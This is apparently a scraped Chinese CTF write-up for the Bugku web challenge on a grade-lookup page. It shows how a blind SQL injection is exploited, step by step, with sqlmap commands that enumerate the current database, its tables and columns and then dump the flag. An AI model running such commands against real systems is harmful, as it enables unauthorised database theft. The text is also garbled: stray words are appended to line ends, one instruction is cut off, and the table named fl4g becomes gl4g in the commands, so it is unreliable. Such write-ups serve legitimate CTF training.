【Writeup】Bugku-Web-成績單

 

打開來是成績查詢的界面sql

隨便輸入一下1獲得:數據庫

基本已經能肯定是sql注入的題了,但這道題沒有回顯,手動測試很麻煩(我也不太會),因此用sqlmappost

burp抓包,發現是一個post請求,將請求內容複製下來在kali中保存爲一個txt(這樣要比直接測試url快)測試

(此處插播一個小點——剛配置好的kali是不能直接獲取物理機上剪貼板的內容的,須要執行如下操做:url

接下來經過sqlmap找當前數據庫的名字:spa

1 sqlmap -r chengji.txt -p id --current-db

繼續查找其中的tables:3d

1 sqlmap -r chengji.txt -p id -D skctf_flag --tables

flag應該在fl4g這個表中,繼續查找字段:code

1 sqlmap -r chengji.txt -p id -D skctf_flag -T gl4g --columns

只有一個字段就是咱們須要的flag,查看一下它的內容:blog

1 sqlmap -r chengji.txt -p id -D skctf_flag -T gl4g -C skctf_flag --dump

獲得flagio

 


我本次使用sqlmap的時候不知道爲何特別慢,老是出現下面這句話,不知道怎麼能解決一下

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')?

相關文章
相關標籤/搜索